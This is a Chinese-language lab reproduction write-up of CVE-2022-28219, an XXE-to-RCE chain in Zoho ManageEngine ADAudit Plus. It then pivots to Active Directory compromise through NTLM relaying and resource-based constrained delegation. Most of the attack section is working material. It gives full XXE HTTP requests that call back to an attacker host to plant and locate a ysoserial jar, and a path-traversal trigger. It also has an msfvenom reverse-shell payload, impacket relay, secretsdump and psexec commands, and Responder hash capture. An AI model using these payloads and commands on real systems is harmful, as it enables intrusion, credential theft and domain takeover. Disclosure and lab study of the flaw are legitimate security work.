CVE-2022-28219 Zoho ManageEngine ADAudit Plus XXE到RCE漏洞复现

admin 2022年11月11日12:44:01评论137 views字数 6038阅读20分7秒阅读模式

CVE-2022-28219 Zoho ManageEngine ADAudit Plus XXE到RCE漏洞复现

一、环境搭建

需要一个域环境,将机器提升为域控之后。安装managerEngine,直接下载好拖到域控上安装即可。安装完成之后,访问dc的8081端口(默认为8081)。

CVE-2022-28219 Zoho ManageEngine ADAudit Plus XXE到RCE漏洞复现

默认账号为admin/admin,managerEngine也能默认识别到当前登录域的netbios

CVE-2022-28219 Zoho ManageEngine ADAudit Plus XXE到RCE漏洞复现
MangeEngine机器(dc) 域名 攻击机(kali)
192.168.20.246 fbi.gov 192.168.20.151

二、漏洞复现

第一步

首先使用ysoserial生成反序列化payload(使用CommonBeanutils1 gadget)。 java -jar ysoserial-all.jar CommonsBeanutils1 calc.exe > xxe-upload-test.jar

CVE-2022-28219 Zoho ManageEngine ADAudit Plus XXE到RCE漏洞复现

第二步

(https://2013.appsecusa.org/2013/wp-content/uploads/2013/12/WhatYouDidntKnowAboutXXEAttacks.pdf 在这里提到,通过xxe我们可以上传文件和列举目录 可以使用这个ftp服务器来使文件驻留到目标服务器中。)

使用BlockingServer,可以使用这个ftp服务器来使文件驻留到目标服务器中。 java BlockingServer 9090 xxe-upload-test.jar

CVE-2022-28219 Zoho ManageEngine ADAudit Plus XXE到RCE漏洞复现

之后发送数据包

POST /api/agent/tabs/agentData HTTP/1.1
Host: 192.168.20.246:8081
Accept-Encoding: gzip, deflate
Accept: */*
Connection: keep-alive
Content-Length: 316
Content-Type: application/json

[
    {
        "DomainName": "fbi.gov",
        "EventCode": 4688,
        "EventType": 0,
        "TimeGenerated": 0,
        "Task Content": "<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE foo [<!ENTITY ssrf SYSTEM "jar:http://192.168.20.151:9090/xxe-upload-test.jar!/myfile.txt"> ]><foo>&ssrf;</foo>"
    }
]
CVE-2022-28219 Zoho ManageEngine ADAudit Plus XXE到RCE漏洞复现

BlockingServer 提供文件并保持连接打开,因此临时文件不会被删除。

第三步

利用XXE漏洞定位上传payload的文件路径。我们在这里使用 GitHub 项目中的 XXE FTP 服务器来泄露目录列表以找到有效负载: python2 xxe-ftp-server.py 192.168.20.151 3000 2121

CVE-2022-28219 Zoho ManageEngine ADAudit Plus XXE到RCE漏洞复现

发送数据包。

POST /api/agent/tabs/agentData HTTP/1.1
Host: 192.168.20.246:8081
Accept-Encoding: gzip, deflate
Accept: */*
Connection: keep-alive
Content-Length: 393
Content-Type: application/json

[
    {
        "DomainName": "fbi.gov",
        "EventCode": 4688,
        "EventType": 0,
        "TimeGenerated": 0,
        "Task Content": "<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE data [  <!ENTITY % file SYSTEM "file:///C:/Users/fbi/AppData/Local/Temp/">  <!ENTITY % dtd SYSTEM "http://192.168.20.151:3000/data.dtd"> %dtd;]><data>&send;</data>"
    }
]

找到通过ftp上传的临时文件

CVE-2022-28219 Zoho ManageEngine ADAudit Plus XXE到RCE漏洞复现

第四步(触发payload)

curl --path-as-is -v http://192.168.20.246:8081/cewolf/a.png?img=/../../../../../../../../../users/fbi/appdata/local/temp/jar_cache5024000158749136930.tmp
CVE-2022-28219 Zoho ManageEngine ADAudit Plus XXE到RCE漏洞复现

成功触发payload

CVE-2022-28219 Zoho ManageEngine ADAudit Plus XXE到RCE漏洞复现

五、集成脚本

win.ini文件内容。

CVE-2022-28219 Zoho ManageEngine ADAudit Plus XXE到RCE漏洞复现

脚本获取win.ini内容

python3 CVE-2022-28219.py -t http://192.168.20.246:8081/ -l 192.168.20.151 -d fbi.gov -f /windows/win.ini
CVE-2022-28219 Zoho ManageEngine ADAudit Plus XXE到RCE漏洞复现

执行命令:

python3 CVE-2022-28219.py -t http://192.168.20.246:8081/ -l 192.168.20.151 -d fbi.gov -c calc.exe
CVE-2022-28219 Zoho ManageEngine ADAudit Plus XXE到RCE漏洞复现

于手工触发的流程一致,多了一个列user目录的过程,来探测当前机器上的用户和用户目录。

CVE-2022-28219 Zoho ManageEngine ADAudit Plus XXE到RCE漏洞复现

找到生成的临时文件tmp之后发送请求访问上传的tmp文件来触发漏洞导致命令执行。

六、SSRF到NTLM中继

我们在攻击者机器上运行著名的响应器工具

python3 Responder.py -I eth0

发送一个请求来触发 XXE 并让 ADAudit Plus 服务器连接回攻击 IP

POST /api/agent/tabs/agentData HTTP/1.1
Host: 192.168.20.246:8081
Accept-Encoding: gzip, deflate
Accept: */*
Connection: keep-alive
Content-Length: 393
Content-Type: application/json

[
    {
        "DomainName": "fbi.gov",
        "EventCode": 4688,
        "EventType": 0,
        "TimeGenerated": 0,
        "Task Content": "<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE foo [ <!ENTITY % xxe SYSTEM "http://192.168.20.151"> %xxe; ]>"
    }
]
CVE-2022-28219 Zoho ManageEngine ADAudit Plus XXE到RCE漏洞复现

获取用户fbi的net-ntlmhash,后续可以使用hashcat尝试破解NTLMv2hash。

七、通过ntlmrelay获取机器的权限

如果在目标机器上的jdk版本有问题导致无法rce,只存在xxe的情况下作何利用?

ntlmrelay原理:

CVE-2022-28219 Zoho ManageEngine ADAudit Plus XXE到RCE漏洞复现

基本流程如上图所示,在客户端的视角里,攻击者就是他要访问的服务端,它在与攻击者这台主机进行NTLM认证,而整个流程也只有攻击者这台主机与其进行交互。在服务端的视角里,攻击者是客户端,是攻击者在向服务端证明自己的身份。通过中间人攻击的方法,攻击者可以伪造成客户端来完成身份验证。整个ntlm认证过程中,攻击者相当于一个中间人的作用,在不同的认证流程中,扮演不同的认证角色。

一、中继到smb

默认情况,dc开启smb签名认证。其他域内主机未开启。

CVE-2022-28219 Zoho ManageEngine ADAudit Plus XXE到RCE漏洞复现

攻击机kali使用smbrelayx临时起一个SMB服务。

impacket-smbrelayx -h 192.168.20.111 -c hostname

利用xxe发送http请求

CVE-2022-28219 Zoho ManageEngine ADAudit Plus XXE到RCE漏洞复现

在机器上执行命令成功。

CVE-2022-28219 Zoho ManageEngine ADAudit Plus XXE到RCE漏洞复现

或者通过可执行文件直接上线。(工具smbrelay)(联动msf的远控) 生成一个后门文件。

msfvenom -p windows/meterpreter/reverse_tcp lhost=192.168.20.151 lport=4444 -f exe -o exp.exe

开启smb服务,让目标机器获取攻击机kali的smb服务上的exp.exe并且执行。

impacket-smbrelayx -h 192.168.20.111 -e exp.exe
CVE-2022-28219 Zoho ManageEngine ADAudit Plus XXE到RCE漏洞复现

通过xxe发送请求

CVE-2022-28219 Zoho ManageEngine ADAudit Plus XXE到RCE漏洞复现

目标机器上线msf 但是session上线之后会自动断掉。

CVE-2022-28219 Zoho ManageEngine ADAudit Plus XXE到RCE漏洞复现

后面查阅到 需要使用exploit/multi/handler,配置AutoRunScript,当获取到shell让他进程自动迁移,避免shell文件被删除时连接的shell断开。并且此时弹回来的权限为system。

CVE-2022-28219 Zoho ManageEngine ADAudit Plus XXE到RCE漏洞复现

(在横向移动中,445端口用来进行net use的ipc连接,在工具smbrelayx中,起一个445的smb server来执行命令,还是工具中用到了wmic来执行命令并且通过ipc连接来读取命令执行的结果。同理上线msf也是一样,通过wmic来执行命令获取到攻击机kali的smb上的远控木马到本地,之后再通过wmic去执行命令执行并上线)

高版本server执行失败的情况

如果中继到的机器是2016及以上(这里添加一个域内机器为2016),可以看到调用rpc执行是失败的(rpc默认在这些机器上被禁用)

CVE-2022-28219 Zoho ManageEngine ADAudit Plus XXE到RCE漏洞复现

那么遇到这种情况如何解决?就引出下文的基于资源的约束委派。

二、中继到ldap,基于资源的约束委派

获取到域内一个用户的凭据,账号密码为fbi/p@ssw0rd,此时通过这个账号去添加机器账号

python3 addcomputer.py -method SAMR -dc-ip 192.168.20.246 -computer-name 7niuzi -computer-pass 123456 "fbi.gov/fbi:p@ssw0rd"
CVE-2022-28219 Zoho ManageEngine ADAudit Plus XXE到RCE漏洞复现
CVE-2022-28219 Zoho ManageEngine ADAudit Plus XXE到RCE漏洞复现
python3 ntlmrelayx.py -t ldap://dc01.fbi.gov -debug -ip 192.168.20.151 --delegate-access --remove-mic -smb2support --escalate-user 7niu$

中继到ldap之后,刚开始使用ntlmrelayx的时候,总是默认导出ldap的信息,同时因为admanager。此工具尝试从域中收集尽可能更多的信息,包括用户,其组成员身份,域计算机和域策略。

CVE-2022-28219 Zoho ManageEngine ADAudit Plus XXE到RCE漏洞复现

除了收集信息之外,还可以通过LDAP写入目录。如果ntlmrelayx遇到具有域管理员权限的用户,它将创建一个新的域管理员帐户,该帐户立即使攻击者可以完全控制域

CVE-2022-28219 Zoho ManageEngine ADAudit Plus XXE到RCE漏洞复现

这里自动将新建的机器账号添加到最高的域管组中,此时该机器账户具有dcsync功能。

impacket-secretsdump 7niu$:[email protected]
CVE-2022-28219 Zoho ManageEngine ADAudit Plus XXE到RCE漏洞复现

如果权限不够的情况下,或者忽略掉工具ntlmrelayx给我们带来的判断权限和自动提升为Enterprise admins组的成员,进行正常的基于资源的约束委派攻击来获取w12主机的权限。再添加一个机器账号。

CVE-2022-28219 Zoho ManageEngine ADAudit Plus XXE到RCE漏洞复现
impacket-ntlmrelayx -t ldap://192.168.20.246 -debug -ip 192.168.20.151 --delegate-access --no-dump --no-da --no-acl --no-validate-privs --escalate-user dandan$
参数功能相关:
--delegate-access 将中继计算机帐户的访问权限委派给指定帐户
--no-dump         不要尝试转储 LDAP 信息
--no-da           不要尝试添加域管
--no-acl          禁用 ACL 攻击
--no-validate-privs不要尝试枚举权限,假设权限被授予通过 ACL 攻击升级用户

以上通过这些参数来让他仅执行一个基于资源的约束委派,不需要通过枚举之前的枚举权限之类或者acl之类的攻击操作。

CVE-2022-28219 Zoho ManageEngine ADAudit Plus XXE到RCE漏洞复现

burpsuite发包触发xxe,目标机发起http请求。

CVE-2022-28219 Zoho ManageEngine ADAudit Plus XXE到RCE漏洞复现

将凭据中继到域控服务器的LDAP服务上设置基于资源约束委派成功。

CVE-2022-28219 Zoho ManageEngine ADAudit Plus XXE到RCE漏洞复现

票据申请

impacket-getST dc-ip 192.168.20.246 fbi.gov/dandan$:123456 -spn cifs/w12.fbi.gov -impersonate administrator
CVE-2022-28219 Zoho ManageEngine ADAudit Plus XXE到RCE漏洞复现

票据导入

export KRB5CCNAME=administrator.ccache
CVE-2022-28219 Zoho ManageEngine ADAudit Plus XXE到RCE漏洞复现

psexec直接登录w12机器。

impacket-psexec -no-pass -k w12.fbi.gov 
CVE-2022-28219 Zoho ManageEngine ADAudit Plus XXE到RCE漏洞复现

ldap信息中该机器账号的msDS-AllowedToActOnBehalfOfOtherIdentity属性值

CVE-2022-28219 Zoho ManageEngine ADAudit Plus XXE到RCE漏洞复现

三、总结

一、该漏洞主要需要知道域名来触发xxe,那么实际使用中如何获取内网域名?

1./api/agent/configuration/getAgentServerInfo 接口中,如果配置了agent之后会有完整的fqdn

CVE-2022-28219 Zoho ManageEngine ADAudit Plus XXE到RCE漏洞复现

2.managerengine登录的时候会显示netbios。

CVE-2022-28219 Zoho ManageEngine ADAudit Plus XXE到RCE漏洞复现

3.如果能遇到存在exchang的,也能够通过exchange的接口获取fqdn。

CVE-2022-28219 Zoho ManageEngine ADAudit Plus XXE到RCE漏洞复现
CVE-2022-28219 Zoho ManageEngine ADAudit Plus XXE到RCE漏洞复现

查看ldap信息w12机器的

CVE-2022-28219 Zoho ManageEngine ADAudit Plus XXE到RCE漏洞复现

二、jdk低版本的401

另外Java在使用内置类 sun.net.www.protocol.http.HttpURLConnection 发送HTTP请求遇到状态码为401的HTTP返回头时,会判断该页面要求使用哪种认证方式,若采用的NTLM认证则会自动使用当前用户凭据进行认证。如果目标机器未开启防火墙来禁止外部请求smb,或者未对smb进行签名,攻击者便能依此获取NTLM认证请求。

四、参考文章

https://blog.ateam.qianxin.com/post/zhe-shi-yi-pian-bu-yi-yang-de-zhen-shi-shen-tou-ce-shi-an-li-fen-xi-wen-zhang/ https://www.horizon3.ai/red-team-blog-cve-2022-28219/ https://xlab.tencent.com/cn/2019/03/18/ghidra-from-xxe-to-rce/


原文始发于微信公众号(7bits安全团队):CVE-2022-28219 Zoho ManageEngine ADAudit Plus XXE到RCE漏洞复现

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2022年11月11日12:44:01
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   CVE-2022-28219 Zoho ManageEngine ADAudit Plus XXE到RCE漏洞复现http://cn-sec.com/archives/1403527.html

发表评论

匿名网友 填写信息